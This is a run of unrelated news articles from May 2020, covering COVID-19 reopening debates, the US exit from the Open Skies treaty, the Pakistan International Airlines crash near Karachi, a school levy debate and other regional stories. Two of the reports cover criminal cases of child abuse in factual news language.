A coalition of 300 businesses have formed demanding that they be allowed to start serving people again.

Mayor Bill de Blasio and Gov. Cuomo say the city is still not ready because it doesn't yet have enough hospital beds free (they want it to have 30% and at the moment it only has 27%) and not enough contact tracers - a measure they and they alone insist on - have been hired.

Some 1,000 out of 2,250 have been brought on.

The three areas holding New York City back from reopening are the lack of free hospital beds and contact tracers which have to be hired by the local government

President Trump has said that he will not 'close the country' down if there is a second wave of infection, but he never closed the country in the first place.

On Thursday, he said: 'People say that's [a second wave] a very distinct possibility, it's standard. We are going to put out the fires. We're not going to close the country.

'We can put out the fires. Whether it is an ember or a flame, we are going to put it out. But we are not closing our country,' he added.

Trump was not in charge of ordering shut down orders. He left it down to the governors of each state at the start of the crisis, and came under fire from them.

He then claimed wrongly that he had 'total authority' as the president, a claim which drove governors including Andrew Cuomo to say: 'We don't have a king.'
GREENSBORO  Greensboro is among five cities where ReOpen NC will hold rallies on Memorial Day, according to an announcement posted on its Facebook page.

The local rally will begin at 11 a.m. and will be held at the Phill G. McDonald Plaza, 110 S. Greene St., which is in front of City Hall in downtown.

ReOpen NC has been organizing weekly rallies in Raleigh to protest Gov. Roy Cooper's March 30 stay-at-home order that shuttered many businesses and forced schools to turn to distance learning in an effort to stem the spread of the coronavirus.

According to an email from organizers, the following will be among the Greensboro event's speakers: Mark Robinson, Republican candidate for lieutenant governor; N.C. Insurance Commissioner Mike Causey; Pastor Fred Daniel; Col. Ron Rabin; and teacher Stephanie Mitchell.

Events also are planned Monday in Charlotte, Raleigh, Wilmington and Asheville, according to the Facebook post.

Organizers of the Greensboro event did not respond to emails seeking more details. Robinson also did not respond to a message sent through his general consultant earlier this week seeking comment.
A COVID-19 patient had to walk for



about seven kms to reach a civic-run hospital at Dombivli in Thane district from his home after he was told by the staff that there was no ambulance available to transport him, a senior official said on Friday.

The incident took place on Thursday and a purported video of the man walking to the hospital went viral on social media, the official said.

Commissioner of Kalyan Dombivli Municipal Corporation (KDMC), Dr Vijay Suryavanshi, said that he has taken cognizance of the incident and ordered an inquiry into it.

In a video message, Suryavanshi said, "The person works at a leading hospital in Mumbai. He had got himself tested for COVID-19. After he came to know that he was coronavirus positive, he called up the Shashtri Nagar Hospital in Dombivli for an ambulance yesterday. However, the hospital staff told him that ambulance was not available."



"Thereafter, the patient decided to walk to the hospital from his home to get himself admitted," he added.

The commissioner said that 33 ambulances have been pressed into service by the civic body at present.

"I have ordered the officials to inquire into what actually happened in this case and appropriate action would be taken. The patient should not have walked to the hospital. He should have waited for the ambulance. He is currently undergoing treatment at the hospital, he said.

"Prior to this, there was never a complaint of non- availability of ambulance and all our staffers are always alert in dealing with coronavirus cases," Suryavanshi said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
While North America's three federal governments have been the central focus of the public-health response to COVID-19, restrictions on business activity have been imposed and enforced for the most part by the 50 U.S. states, the 10 Canadian provinces and the 32 Mexican states. Meanwhile, thousands of local governments have imposed limits of their own. Like a gangly adolescent, North America has a coordination problem.Reawakening the North American economy successfully once the coronavirus pandemic begins to recede will require synchronization among the three federal governments, along with their territories, federal districts and other subnational jurisdictions, so that the supply chains that sustain the continent's economy and crisscross jurisdictions can come back online. Without coordination, myriad rules and uncertainty will drag on regional competitiveness and slow recovery.The British government may have a solution worth emulating. At first glance, Britain may seem too unlike North America to be a model: It's a unitary state with limited devolution of power to parliaments in Northern Ireland, Scotland, Wales and modest local authorities. Yet when it comes to business, the United Kingdom  a nation of shopkeepers, in Napoleon's famous jibe  shares a cultural of initiative, self-reliance and a love of liberty with most North Americans.Seeking to tap into that spirit, British Prime Minister Boris Johnson has announced guidelines for businesses on how to make workplaces safe to reopen for employees and customers. Recommendations include co-worker distancing, cleaning standards and telework for employees who are ill, think they might be, or are living with or caring for COVID-19-positive or vulnerable family members at home.Culturally these guidelines are British in the best sense, in the matter-of-fact manner of the wartime posters that advised the public to "Keep Calm and Carry On." Yet they could be adapted for use in North America as a model that would help coordinate the complicated process of reawakening the economies of the United States, Canada and Mexico.Unlike the United Kingdom, Canada and the United States are federations in which the primary authority over the conduct of business, from incorporation to licensure, rests with provincial and state governments. For Canada, this is constitutional and a legacy of the British legislation that confederated its former colonies. In the United States, every government has a charter or constitution that has been endorsed by residents or their representatives. That includes local governments, many of which have implemented business closures, school shutdowns and travel restrictions of their own.Mexico is also a federal system, but there the federal government has ordered business closures through the Ministry of Health, with no role yet for the economy ministry. However, we have seen numerous declarations of dissent from some of Mexico's most powerful governors and businesses, worried that their American and Canadian supply-chain partners will restart while they remain on lockdown.Synchronizing the economic reopening across North America's myriad jurisdictions is vital if governments hope to minimize business losses. Already some jurisdictions are breaking ranks and moving to partially reopen their economies, giving business owners and supply-chain managers fits.This is where federal guidance  patterned on the U.K. model, consistent and synchronized across North America's international boundaries  would help. Not only would it aid governors, provincial premiers and local officials in their decision-making on reopening their economies, but giving advice to business owners on how to reopen while protecting the health of their employees, corporate partners and customers would empower them to act. An Indiana manufacturer would have more confidence in a local decision to allow business activity and to resume production knowing that its suppliers in Ontario and Chihuahua were working from the same guidebook.The answer to the safe reopening of our interconnected North American economy lies in a combination of public-health measures and the best use of automation, virtual communication, the internet of things and data flows. Until a vaccine is available, we know that factory floors and office spaces will remain a risk. However, the disciplined use of personal protective equipment, ample resources for handwashing and other hygienic measures, and education on safe interactions among staff, as well as more effective human-robot teamwork, should allow for that risk to be minimized.The North American idea is, in a sense, in its adolescence. Medical research and technological solutions will help us to counter and adapt to the COVID-19 contagion. Empowering people with best-practice knowledge and calling on them to act responsibly may be a British approach, but it could inspire North Americans to reopen businesses from the ground up.GoverningGoverning
The Zhangjiajie detachment of the Chinese People's Armed Police strives to provide assistance to Lianhuatai village, Sangzhi county of Central China's Hunan province, which used to be one of the country's 14 contiguous poverty-stricken areas and a main battlefield of poverty alleviation.

Soldiers of the Zhangjiajie detachment of the Chinese People's Armed Police play games with students in Mihu township, Sangzhi county.

Luo Xianghua, Zhangjiajie detachments leader, did research on poverty alleviation after visiting Lianhuatai village. After learning that besides studying most children had to take care of the elderly, farming, cooking and other housework, he was determined to encourage young and middle-aged people to return home to start a business.

Soldiers of the Zhangjiajie detachment of the Chinese People's Armed Police teach students to operate a drone in Kongkeshu township, Sangzhi county.

"With the development of assistance to students, in addition to one-on-one help, a 'barracks scholarships' was also set up, which benefited 33 students that year. In September 2016, students moved into the brand-new Milhu Township Central Primary School. I was no longer the only one to teach students from grades one to six," said Chen Yinyu, a local teacher.

The Zhangjiajie detachment of the Chinese People's Armed Police builds a library for students in Lianhuatai village, Sangzhi county.

"Last year the army helped us develop the collective economy, invest in the leading enterprise 'Jintudi', and register to set up a handicraft professional cooperative called Qiaoshou in Sangzhi county, all of which brought a lot of benefits and provided a large number of jobs for entrepreneurs returning to their hometowns," said Peng Qubo, a villager, noting that this is the best witness of the army force and the common people's joint efforts to overcome poverty in the new era.
The United States on Thursday announced its decision to leave the Open Skies treaty, which allows 34 participating countries including Russia to fly their aircraft over each other's territory.

India is not a member of this treaty that came into force on January 1, 2002. Most of the participating countries are in North America Europe and Central Asia.

Secretary of State Mike Pompeo said on Friday the US will submit notice of its decision to withdraw from the Treaty on Open Skies to the Treaty Depositaries and to all other states party to the Treaty.

Effective six months from tomorrow, the United States will no longer be a party to the Treaty, he said, adding that the US would, however, reconsider its withdrawal should Russia return to full compliance with the Treaty.

President Donald Trump blamed Russia's non-compliance with the treaty for such a decision by the United States.

Russia didn't adhere to the treaty, so until they adhere, we will pull out. But there's a very good chance we'll make a new agreement or do something to put that agreement back together, Trump told reporters at the White House.

Whenever there's an agreement that another party doesn't agree to, we have many of those agreements around the world, where it's a two-party agreement, but they don't adhere to it and we do. When we have things like that, we pull out also, he said.

"That's why, with the arms treaties, if you look at the arms treaties, we're probably going to make a deal with Russia on arms treaty. And China will be maybe included in that. We'll see what happens, he said. When we have an agreement, when we have a treaty, and the other side doesn't adhere to it -- in many cases, they're old treaties, old agreements -- then we pull out also, he added.

What's going to happen is we're going to pull out and they're going to come back and want to make a deal. We've had a very good relationship lately with Russia. And you can see that with respect to oil and what's happening with oil, Trump said.

In his statement, Pompeo alleged that Russia's implementation and violation of Open Skies has undermined the central confidence-building function of the Treaty and has, in fact, fuelled distrust and threats to US national security making continued American participation untenable.

While the United States along with our Allies and partners that are States Parties to the Treaty have lived up to our commitments and obligations under the Treaty, Russia has flagrantly and continuously violated the Treaty in various ways for years. This is not a story exclusive to just the Treaty on Open Skies, unfortunately, for Russia has been a serial violator of many of its arms control obligations and commitments, Pompeo said.

Despite the Open Skies Treaty's aspiration to build confidence and trust by demonstrating through unrestricted overflights that no party has anything to hide, Russia has consistently acted as if it were free to turn its obligations off and on at will, unlawfully denying or restricting Open Skies observation flights whenever it desires, he added.

Pompeo alleged that Russia has refused access to observation flights within a 10-kilometer corridor along its border with the Russian-occupied Georgian regions of Abkhazia and South Ossetia, thereby attempting to advance false Russian claims that these occupied territories are independent states.

Russia's designation of an Open Skies refueling airfield in Crimea, Ukraine, is similarly an attempt to advance its claim of purported annexation of the peninsula, which the United States does not and will never accept. Russia has also illegally placed a restriction on flight distance over Kaliningrad, despite the fact that this enclave has become the location of a significant military build-up that Russian officials have suggested includes short-range nuclear-tipped missiles targeting NATO, he said.

In 2019, Russia unjustifiably denied a shared United States and Canada observation flight over a large Russian military exercise.

In a tele conference with reporters, Assistant Secretary for International Security and Nonproliferation Christopher A Ford, said that Russia's violation of the Open Skies Treaty is just one instance in a pattern of Russian violations of its arms control nonproliferation and disarmament obligations and commitments that affect European security and affect the arms control architecture.

This, of course, includes things such as its violation of the arms control treaty, which of course destroyed that treaty; its actions against Georgia and Ukraine, including its purported annexation of Crimea, which have been contrary principles set forth in the Helsinki Final Act; its purported suspension which isn't really a legal thing, but the word that the Russians use of its obligations under the Conventional Forces in Europe Treaty, and its selective implementation of the Vienna Document, he said.

Acting Director of National Intelligence Richard Grenell in a statement alleged that for years, Russia has systematically violated the terms of the Open Skies Treaty to the detriment of the United States, its allies, and partners.

No country should tolerate such treaty abuses and we're taking action to right this wrong. America can't be expected to keep its skies open to Russian monitoring flights while Russia is unwilling to reciprocate on equal terms. Russia's treaty violations have undermined the central purpose of the treaty while imperiling its neighbors and jeopardizing U.S. national security, Grenell said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A policeman in Ebonyi state has been dismissed from the force after going through an orderly room trial for defiling a 14 year-old girl.

Ebonyi state Coordinator of the National Human Rights Commission (NHRC), Okorie Christopher Onyekachi who commended the states police command for not shielding the policeman, said they are working hard to ensure that the ex police man who is in his 30s is prosecuted.

Christopher said;

One police officer has been sacked after undergoing an orderly room trial and we are also moving for his court trial but he has gone through police orderly room trial; police internal disciplinary action which led to his dismissal. We are now moving for his trial in the court. He was accused of defiling a minor, the child is about 14 years while the policeman is in his early 30s.

We are grateful to the state commissioner of police who has been very helpful to us. He understands what humanity is all about. Once a petition from the National Human Rights Commission is sent to him, the following morning, we will get a call that it has been assigned.

He usually tells us to deal with him directly, that he doesnt want the image of the police to be dented. So, he has helped us in so many ways. In 2019, we handled like 45 cases and 12 cases this year.

Four of the 2019 cases had to do with Gender-Based se.xual Violence and these are all minors. Pitiably, a man molested a three-year- old girl. The issue of violating minors is on the increase but under-reported.

The only time the cases are reported is when there is an underlying conflict among the families involved. Domestic violence is on the increase even though under-reported. Under-reporting is the problem we are having on this issue of domestic violence.

If you see the culture of Igbo land; the culture changes because of the influence of external cultures too. What happens here is that most families are not literate, our culture has not been given the necessary push or change it deserves to really give us the good result that we need. In that aspect, there is a low percentage of reporting cases of violence because of the culture; it is actually considered normal for a woman to be beaten by her husband.

When it is so, a woman is indoctrinated to believe it that way. Women should know that they are human beings and being a human being, nobody has a right to infringe upon your own rights because the persons rights start where your own start. Marriage does not reduce your personal rights. So, the person you are marrying should respect your rights.
"The Crown" executive producer Andy Harries says he is unsure about shooting for the fifth season of the hit period drama with social distancing rules in place.

The upcoming fourth season of the Netflix series, which is set to be Olivia Colman's last as Queen Elizabeth II, managed to finish production early amid the coronavirus pandemic and lockdown measures.

Harries said he doesn't know when things will go back to normal, reported Radio Times.

"I hate to be doomy and gloomy because I am an optimistic guy. Every day is a new challenge and every day you've got to be up for that challenge and you have got to plow on.

"Obviously we are facing challenging times and I don't know when we will return to filming normally. I am not sure if we can film socially distanced. I am sure some productions could do it but I am not sure that the shows we are doing would work, but we are looking at it very closely," he said at a BAFTA masterclass.

Harries said the pandemic will force many broadcasters and producers to cut down on the budget for projects.

"All the big broadcasters will be losing a lot of money, a lot of productions will be trimmed back - a lot of budgets will be trimmed. It will be tough for producers and it's hard to pretend otherwise," he said.

The fifth season, also the final one for the Emmy-nominated show, will see actor Imelda Staunton play the role of the British monarch.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Chinas Two Sessions herald Rebound of Economy

As the coronavirus fallout is spreading in Western economies, Chinas rebound has begun. Global recovery requires global cooperation, however.

Today, international interest in the annual Two Sessions of Chinas top legislative and political advisory bodies - National Peoples Congress, and Chinese Peoples Political Consultative Conference  which starts on Thursday, is exceptionally high.

Due to the global pandemic, the Sessions take place under strong anti-epidemic measures, including social distancing, and will be significantly shorter and rely more on videoconferences. Such measures are in line with the science-based health policies, which the central government adopted in late January.

Apart from their sociopolitical significance, the Two Sessions herald the rebounding of the Chinese economy, even amid the global pandemic.

From virus containment

to economic rebound

In China, big business has operated with near full capacity since mid-April. Factories and energy plants are humming. Stores are reopening.

Of course, theres no immediate return to the pre-virus world. Yet Chinas new normal differs dramatically from that in the US and Euro area, thanks to proactive governance and science-based policies to contain the virus outbreak.

In China, the rebound of the economy began in March-April. In the US and Europe, it could ensue more broadly only after the 2nd quarter. But even those hopes could be undermined by premature exits from the lockdown, new virus waves and residual clusters.

In the 1st quarter, Chinas growth shrank 6.8 percent. However, the rebound could raise the 2nd quarter data close to 4 percent, while the 3rd and 4th quarter could prove close to 5 and 6 percent, respectively. That would leave the 2020 result at 2 percent, as the IMF has predicted.

Assuming peaceful international conditions, faster rebound could improve the outcome, however. Despite the dire international horizon, Chinas economy has potential for an upside surprise.

More fiscal expansion and

faster response to crises

This year marks the last one of the 13th five-year (2016-20) period. But, even if China could see a V-shaped recovery, can the country deliver its promises of improving living standard, eradicating abject poverty and environmental sustainability?

Here's the short answer: Its a precarious balancing act. More fiscal expansion is needed to support the economy, while improved reporting systems are likely to be implemented to prevent future public-health emergencies.

Long-term objectives  doubling living standards, eradicating poverty and reducing pollutants  will prevail but they can be effectively executed only after the pandemic is fully contained worldwide. Ironically, the past months economic slump has translated to a dramatic, though temporary fall in emissions.

The greatest challenge in the coming months will be to overcome the current misalignment between supply and demand. During the 2nd quarter, the supply-side performance has rapidly improved as economic capacity is almost back to normal and industrial production is up. Last month, even the export sectors performance was strong. The governments strong back-to-work push is paying off.

Demand-side story harder,

likely more challenging for West

The demand-side will take more time. In the months of strict quarantine measures, e-commerce sales took off dramatically as people resorted to online shopping. Retail and shopping malls, clothing and cosmetics and other consumption-led sectors will take longer to normalize.

In the West, the demand-side story will prove even more challenging, due to greater virus impact and longer delays in the return to full employment.

As long as a vaccine against the virus and effective therapies are not available, uncertainty will constrain private investment. But in China, that has been offset by government-led infrastructure investment, which is likely to remain a key growth driver until full stabilization.

Fiscal policies are likely to be strengthened, with expected measures such as raising the fiscal deficit rate to 5 percent of GDP and issuing more than $420 billion (3 trillion yuan) in special treasury bonds to boost fiscal funding.

In turn, fiscal accommodation is likely to be supported with easing of monetary and credit policy. In the past four months, newly increased social financing and loans have seen new highs. The demand for financing is recovering as production has resumed. Thats vital for improved employment during these challenging times.

International landscape

key to longer-term future

In China, the worst economic damage may be behind; in the US and Euro area its still ahead. Despite the challenging 1st quarter, this damage is unlikely to penalize Chinas strong long-term economic fundamentals. In the West, the fallout of the outbreak is likely to prove more protracted.

In the 1st quarter, US GDP growth fell to -4.8 percent; but the 2nd quarter, it could plunge close to a whopping -40 percent, according to recent US reports. In the Euro area, growth fell to -3.8 percent in the 1st quarter but thats only a prelude to the expected double-digit plunge in the 2nd quarter.

Since such economic outcomes can be attributed to the mishandling of COVID-19 risks, they are likely to result in political tsunamis in the West in the coming months.

In light of the global economic outlook, the key question is whether the coronavirus lessons will foster international cooperation, which is the only way out, or result in global conflicts scenarios, which would further weaken external demand.

Responsive and responsible governments would delay and prolong the current trade-truce schedules. Yet, the Trump administration is neither. The White Houses misguided trade war and COVID-19 mishandling has already caused US debt to soar record-fast to $25.3 trillion.

As US federal debt to GDP ratio is now close to 120 percent  at par with that of Italy amid its debt crisis in 2011-12  such leverage, which the White House and the Fed will have to further increase, could prove costly to global economy.

Dr. Dan Steinbock is the founder of Difference Group and has served at the India, China and America Institute (US), Shanghai Institute for International Studies (China) and the EU Center (Singapore). For more, see http://www.differencegroup.net/

 2020 Copyright Dan Steinbock - All Rights Reserved

Disclaimer: The above is a matter of opinion provided for general information purposes only and is not intended as investment advice. Information and analysis above are derived from sources and utilising methods believed to be reliable, but we cannot accept responsibility for any losses you may incur as a result of this analysis. Individuals should consult with their personal financial advisors.

Dan Steinbock Archive

 2005-2019 http://www.MarketOracle.co.uk - The Market Oracle is a FREE Daily Financial Markets Analysis & Forecasting online publication.




JERUSALEM (AP)  Iran is slowly pulling out of Syria in response to Israeli strikes, as well as growing domestic discontent linked to the economy and its handling of the coronavirus pandemic, the Israeli military said Thursday.

Israel and Iran have for years been engaged in a shadow war that has recently been playing out in Syria, where Israel says Iran has been boosting its military presence along the frontier. Amid the chaos of the Syrian civil war, Israel has carried out repeated strikes aimed at pushing back Iranian forces and preventing the transfer of advanced weapons to Hezbollah, the Iran-backed Lebanese militant group that is also fighting in Syria.

The Israeli military described the withdrawal as a backward movement from various locations to other locations that are further away and in reduced numbers. It said the movement was not massive, not overwhelming," but that it was also undeniable.

The military shared its findings in a briefing with reporters and said they were based on classified intelligence, without elaborating.

The military partly attributed the pullback to growing discontent in Iran, where the economy has cratered under U.S. sanctions and authorities have struggled to contain the deadliest coronavirus outbreak in the Middle East.

In a speech earlier this month, Hezbollah leader Hassan Nasrallah described Israeli reports about Syrias allies abandoning it as empty talk and wishful thinking.

He acknowledged some movement by Iranian military advisers and a reduction of personnel in some areas, but said that was because fighting there had ended and Syria had won. He said Israel is lying when it links those movements to its airstrikes.

Israel and Iran have tangled in the open on a number of occasions in recent years, with the latest incident in November, when Israeli fighter jets hit multiple targets belonging to Irans elite Quds force in Syria following rocket fire on the Israeli-controlled Golan Heights.

Story continues

Israel views Iranian entrenchment on its northern frontier as a red line, and it has repeatedly struck Iran-linked facilities and weapons convoys destined for Hezbollah.

Iran portrays its actions in Syria as support for an allied government battling terrorist groups. It says its support for Hezbollah is aimed at defending Lebanon from Israel, which occupied parts of southern Lebanon from 1982 until 2000. It rarely comments on the Israeli strikes.

The Israeli military also said it would be prepared to respond to any Hezbollah attack by striking homes, factories and other civilian infrastructure used by the group. The military said it had no interest in an escalation and believed the same was true for Hezbollah.

Iran has forces based in Syria, Israels northern neighbor, and supports Hezbollah militants in Lebanon. In Gaza, it supplies the militant Islamic Jihad with cash, weapons and training. It also supports Hamas, the Islamic militant group that rules the coastal territory.

___

Associated Press writer Zeina Karam in Beirut contributed to this report.
An Alabama pair is facing multiple charges including sexual torture of a young boy.

The Cullman County Sheriffs Office on Friday announced the arrests of Amy Nicole Lovell, 29, and Justin Anthony Jeffries Jr., 26. Both are charged with aggravated child abuse, sexual torture, sexual abuse of a child under the age of 12 and second-degree assault. Lovell is from Remlap and Jeffries is from Arab.

Jeffries also has one additional count of sexual abuse of a child under the age of 12. And, at the time of his arrest this week, he was already facing four counts of sex abuse of a child involving a different victim, court records show. His bond was revoked in those cases pending the new allegations against him.

Justin Anthony Jeffries Jr. (Cullman County Sheriff's Office)

The investigation was carried out by sheriffs investigators with the assistance of Cullman County Department of Human Resources, the Cullman Advocacy Center, and the Cullman County District Attorneys Office. Authorities said they determined that Lovell and Jeffries committed multiple sex crimes against the child.

Sheriffs officials said due to the graphic nature of the crime, they are releasing little information. Court records indicate the boy was subjected to sexual contact and torture with an inanimate object and his genitals were cut with a knife.

According to authorities and court documents, Jeffries had fled to Oregon. The Canby Police Department in Oregon notified Alabama authorities that Jeffries was taken into custody and is currently being transported to the Cullman County Detention Center.

Lovell is out on bond.
CHAGRIN FALLS, Ohio -- The Chagrin Falls Board of Education will solicit political advice from a community member who is well-versed in the subject to help inform its decision on how to proceed with placing a levy on the ballot.

At its meeting Wednesday (May 20), the board continued to struggle with whether to opt for a levy of 3.85 mills or more that would last at least three years on the November ballot, or one of 7.9 mills that would extend for at least four years on the ballot next spring.

The meeting was held via Zoom video conferencing and was live-streamed on YouTube.

Board members agreed that the decision has become more complicated due to the uncertainty of the economy resulting from the coronavirus pandemic, combined with recent cuts to the districts state funding.

Since the board is having such a difficult time reaching a consensus, board member Kathryn Garvey suggested that it invite Anthony Fossaceca -- a parent in the district whom she described as an expert in the political arena -- to attend its next meeting June 3 to offer his input.

Garvey said that after the boards Finance and Budget Committee meeting on May 13 -- at which the committee reviewed the financial impact on potential levy scenarios and discussed the uncertainty of the economy due to the pandemic -- a committee member who was unable to attend the meeting shared his perspective with her.

He said weve assembled a great deal of expertise with regard to economic and financial parameters, she said. But he felt we were lacking expertise in the political arena, and theres just a lot of uncertainty in the political arena.

So, the committee member suggested seeking input from someone with a background in this area. Garvey said the district is fortunate to have a resident such as Fossaceca in the community.

He has helped to manage several political campaigns and has worked on many levies, as well, she said. So I wanted to put forward that maybe we would bring Anthony to our next board meeting to advise the board on what the next 12 months is going to look like in the political arena and give us a summary of information on his perspectives.

Board members agreed that it was a good idea to hear from Fossaceca. Garvey said she already had contacted him and was told he is available June 3, so she would invite him to take part in the virtual meeting.

Superintendent Robert Hunt said it may also be helpful for the board to hear from people who specialize in education levies specifically, and he offered to contact one or two he knows to check on their availability, as well.

Gloomy financial forecast

Treasurer Ashley Brudno told the board May 6 that the district is losing $533,732 from this years foundation funding as a result of the $300 million in cuts to Ohios public schools announced that day by Gov. Mike DeWine. DeWine said the cuts were made to cope with a budget crunch brought on by the coronavirus crisis.

For a 3.85-mill levy on the November ballot to last three years, the board would need to cut about $650,000 from its annual budget for the next four years, Brudno said. That would be in addition to about $350,000 in savings or cost avoidance the administration already has identified.

With these factors in mind, the board approved Brudnos five-year financial forecast Wednesday (May 20), as it was required by the state to do. Brudno emphasized that this forecast represents what we know for now, and our finances and circumstances are changing constantly.

We will have deficit spending starting next year, and that deficit continues to get larger each year, Brudno said. Were expecting revenues to go down significantly starting next year.

Given everything thats going on with COVID-19 and the economy, our tax collections will go down. So we are going to have a spending deficit, and we have to react now, as youre all well aware.

Garvey said the forecast is very concerning because the risks could be very serious to our ability to continue to operate.

Thus, a levy is needed; the questions are when and how much the millage should be.

I would propose that we do a 3.85-mill levy in the fall, to capture the no-additional taxes, and hope it will go three years, but just promise that it will go two (years) because there are just so many uncertainties, board member Mary Kay OToole said.

OToole was referring to the fact that 3.85 mills will be coming off the bills for taxpayers next year, so passage of a 3.85-mill levy in November would result in no additional taxes.

As of Dec. 1, Brudno said, the bonds that have been collected for the construction of Chagrin Falls Middle School -- which opened in 1999 -- will mature, so taxpayers will no longer be responsible for those 3.85 mills.

Is 3.85 mills enough?

Board Vice President Greg Kanzinger agreed that going on the ballot in November would be best, but hes not sure 3.85 mills would be enough.

Before we lost the ($533,732) from the state, I thought 3.85 (mills) was doable for three years, he said. But right now, with what I have seen of how we would have to cut $650,000 from the budget, I think it would be extremely tight.

I think it would change programming for the worse in the district. So if we cant find other ways of cutting money where its not going to affect the programming significantly, then I think we would need to ask for a little more than 3.85.

Kanzinger suggested going with either 4.85 mills -- basically to replace the money we lost from the state -- or possibly 4.3 mills, to split the cost with the community of what we lost from the state.

He later added: I would much rather go something like 4.8 (mills) in the fall than 7.9 in the spring. I think 4.8 in the fall is much more likely to pass than a 7.9 in the spring.

But Garvey said shes not sure shes even comfortable that $650,000 in cuts would ensure a three-year levy cycle, with all of the risks and uncertainties in there.

I feel even more strongly that we should be going out in the spring and asking for what we need (7.9 mills), Garvey said. I think we can make a case for it and have less cuts required and have much less risk to our forecast.

Garvey added that she has many concerns about the November election.

Its a presidential election and one thats going to have a lot of noise in the (political) arena, she said. I think when you have highly uncertain economic times, people tend to vote no on new taxes.

In the spring, it may be continuing; it may not. But I think we can make a stronger case in the spring, when things kind of settle down. Well have one more year of information.

COVID-19 derailed plan

Board member Sharon Broz said if the 3.85 mills were not coming off the tax bill in December, she believes the board would be seeking a 7.9-mill levy in the spring.

The boards original plan in March was to place a 7.9-mill levy on the November ballot. But due to the dramatic economic impact of COVID-19, the board agreed it would not be appropriate to ask voters for 7.9 mills this fall.

The whole environment has changed since we started these conversations, and the 3.85 (mills) falling off was such an important part of where we started, she said. I just want to make sure that we dont let that weigh in too heavily on where we take this now.

The truth of the matter is (the 3.85 mills) falls off and it stays off, so its off in the spring, as well.

OToole responded: Right, but peoples taxes already went down. (Passage of a levy) means they have to go back up. Thats a lot harder pill to swallow.

Im very concerned that we dont want to miss that chance, board President Phil Rankin said. I hate to say it this way, but we dont want to let that (3.85 mills) go down; we want to at least keep it the same.

Lets all try to get our minds around getting to a decision point next meeting (at 6 p.m. June 3)," he said.

The filing deadline to place an issue on the Nov. 3 ballot is Aug. 5. That means the board would have to pass two resolutions by the end of July, then file them with the Cuyahoga County Board of Elections, if it opts for a November ballot issue.

The last time a school levy failed in Chagrin Falls was one for 7.9 mills in spring of 2007. A 7.9-mill levy went on to pass in November that year.

Read more from the Chagrin Solon Sun.
A domestic Pakistan International Airlines flight with 107 people on board crashed Friday near the southern port city of Karachi, Abdul Sattar Kokhar, a spokesman for the countrys civil aviation authority, told the Associated Press.

The aircraft arriving from the eastern city of Lahore was carrying 99 passengers and eight crew members, Kokhar said.

Information on survivors varied as early details emerged about the crash.

Akhtar said all those on board died, but two civil aviation officials, who were not authorized to brief the media, said that at least two people survived the crash, AP reported.

Local TV stations reported that three people sitting in the front row of the aircraft survived and aired footage of a man on a stretcher they identified as Zafar Masud, the head of the Bank of Punjab. They reported that at least 11 bodies were recovered from the crash site and six people were injured.

It was not immediately clear if the casualties were passengers as the aircraft crashed into a crowded neighborhood on the edge of the airport, and Akhtar said at least five or six houses were destroyed in the crash.

The residential area on the edge of the airport, known as Model Colony, is poor and heavily congested.

Pakistans Prime Minister Imran Khan said he was shocked & saddened by the crash in a statement posted to Twitter Friday.

Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased, the statement continued.

The Pakistan Armed Forces also commented on the incident in a tweet from official spokesperson, Major General Babar Iftikhar.

#COAS (Chief of Army Staff) condoles loss of precious lives in tragic PIA plane crash. Shares grief of bereaved families in this difficult time. COAS directed provision of full assistance to civil administration in rescue/ relief effort, the tweet read.

In an earlier tweet, the Pakistan Armed Forces shared that Army Aviation flew helicopters to assess damage and assist with ongoing rescue efforts.

Police wearing protective masks struggled to clear away crowds to allow a firetruck and an ambulance to move through the narrow streets toward the crash site, the air filled with dust and smoke. Police and soldiers cordoned off the area.

Witnesses said the Airbus A320 appeared to attempt to land two or three times before crashing in a residential area near Jinnah International Airport. The residential area on the edge of the airport known as Model Colony is a poor area and heavily congested.

A transmission of the pilots final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling around to make another attempt.

We are proceeding direct, sir  we have lost engine, a pilot said.

Confirm your attempt on belly, the air traffic controller said, offering a runway.

Sir  mayday, mayday, mayday, mayday Pakistan 8303, the pilot said before the transmission ended.

Videos showing large plumes of smoke from the scene have been posted to social media. Local television reports also showed smoke coming from the direction of the airport. Ambulances were on their way to the airport.

USA TODAY has reached out to Pakistan International Airlines and to the Aviation Division of the Government of Pakistan for comment on the crash.

A resident of the area, Abdul Rahman, said he saw the aircraft circle at least three times, appearing to try to land at the airport before it crashed into several houses.

Police and military had cordoned off the area.

Airbus did not immediately respond to APs request for comment on the crash. The flight typically takes an hour and a half to travel from the northeastern city of Lahore, the capital of Pakistans most populous Punjab province to Karachi.

Airworthiness documents showed the plane last received a government check on Nov. 1, 2019. PIAs chief engineer signed a separate certificate April 28 saying all maintenance had been conducted on the plane and that the aircraft is fully airworthy and meets all the safety standards.

SOURCE: The Associated Press
Enbridge Inc.s planned replacement and expansion of its Line 3 crude oil pipeline hit another potential setback as Minnesotas commerce department asked regulators to reconsider a key approval.

The department said the Public Utilities Commission should reconsider the certificate of need it granted the project, arguing that Enbridge failed to submit a long-range forecast for demand for the oil that the pipeline carries, according to a filing that Minnesota Attorney General Keith Ellison submitted on behalf of the department on Thursday.

The pushback from the state could present further challenges to a project that already has faced delays amid opposition from environmentalists and indigenous groups. The Line 3 expansion is a key project for Canadian oil producers, who have suffered from a lack of pipeline capacity that has weighed on local crude prices and restrained their ability to boost production.

FRACKING: Permian who? Marcellus now top destination for frac crews

The roughly C$9 billion ($6.5 billion) project would add 370,000 barrels of daily shipping capacity from the Alberta oil hub of Hardisty to Superior, Wisconsin.

Enbridges failure to submit a long-range oil demand forecast is a material legal error that cant be fixed with other evidence in the record, Ellison said in the request. The utilities commission compounded the error by shifting the burden to other parties to show that demand would decrease, Ellison said in the request.

Enbridge, based in Calgary, said the petitions for reconsideration were an expected next step in the regulatory process, and they raise issues that the commission has previously considered and rejected.

FUEL FIX: Get our energy news in your inbox each weekday

The regulators and an administrative law judge have both agreed that projections show the extra capacity on Line 3 will be needed for years to come, Enbridge said.

Enbridges Line 3 Replacement Project is the most studied pipeline in Minnesotas history, the company said in a statement. It has already undergone an extensive contested case hearing process lasting nearly five years.

Other groups, including the Red Lake Band of Chippewa, White Earth Band of Ojibwe, Honor the Earth, the Sierra Club and youth climate activists, also asked the commission to reconsider the certificate of need.

2020 Bloomberg L.P.
